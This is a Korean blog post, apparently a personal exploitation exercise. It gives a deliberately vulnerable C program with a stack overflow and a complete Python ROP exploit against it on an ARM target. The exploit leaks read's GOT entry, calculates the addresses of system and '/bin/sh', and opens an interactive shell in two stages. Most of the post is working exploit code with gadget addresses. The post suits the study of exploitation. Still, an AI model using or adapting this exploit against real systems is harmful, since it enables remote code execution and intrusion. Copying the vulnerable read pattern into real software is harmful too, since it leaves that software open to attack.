>

#include<stdio.h>

int vuln()

{

char buf[20];

read(0,buf,128);

return write(1,"wow\n",4);

}

int main()

{

vuln();

return 0;

}

쓰인 바이너리의 소스코드이다. 척 봐도 오버플로우 취약점이 보인다.


이번에는 쉘코드 말고 ROP로 익스플로잇을 해봤다. 일부러 사용할 수 있는 공간을 128로 제약을 두고 했는데 바이너리 내에 유용한 가젯들이 있어서 충분히 익스플로잇이 가능했다.

우선 read 함수의 GOT를 출력시켜 read 함수의 실제 주소를 구하고 취약점이 일어나는 vuln 함수를 다시 호출시킨다. 얻은 read 함수를 이용해 system 함수 주소를 계산하고 사용한다. 이 때 system 함수에서 쓰이는 /bin/sh 문자열은 라이브러리 내의 있는 문자열로 쓴다. 마찬가지로 /bin/sh 문자열과 system 주소 사이의 오프셋도 계산한다. 

이렇게 2번의 스테이지로 익스플로잇을 할 수 있다.


#!/usr/bin/python


from socket import *

from struct import pack,unpack

import telnetlib

import time


p = lambda x :pack("<L",x)

up = lambda x:unpack("<L",x)[0]

host = "localhost"

port = 4444


gadget1 = 0x844a # pop r3-r9, pc

gadget2 = 0x8438 # bx [r5]

gadget3 = 0x8410 # mov r0,r3; pop r7,pc

gadget4 = 0x83c2 # pop r3,pc

gadget5 = 0x83c0 # blx r3;pop r3,pc


read_got = 0x10584

write_got = 0x10590

read_plt = 0x8314

vulnfunc = 0x83cc

s = create_connection((host,port))


payload = ""

payload += "a"*24

payload += p(gadget1+1)

payload += "bbbb" # r3

payload += p(0) # r4

payload += p(write_got) # r5

payload += p(1) # r6

payload += p(read_got) # r7

payload += p(4) # r8

payload += p(1) # r9

payload += p(gadget2+1) # write(1,read_got,4)

payload += "dddd"*7

payload += p(vulnfunc+1)


print len(payload)


raw_input()

s.send(payload)

s.recv(4)

time.sleep(0.3)

read_addr = up(s.recv(4))

system_addr = read_addr - 0x5B588

shellstring = system_addr + 0x9D044

print hex(read_addr)

print hex(shellstring)


payload2 = ""

payload2 += "j"*24

payload2 += p(gadget4+1)

payload2 += p(shellstring)

payload2 += p(gadget3+1)

payload2 += "aaaa"

payload2 += p(system_addr+1)

time.sleep(0.3)

s.send(payload2)

t = telnetlib.Telnet(host,port)

t.sock = s

t.interact()

위는 익스플로잇 코드이다. 잘 작동된다.



오예

'Research' 카테고리의 다른 글

쉘코드 수신 쉘코드  (0) 2015.09.12
arm exploitation using shellcode  (0) 2015.02.21
blind sql injection script template  (1) 2015.02.20
UAF에 대한 고찰  (1) 2014.03.09
Posted by Mungsul
,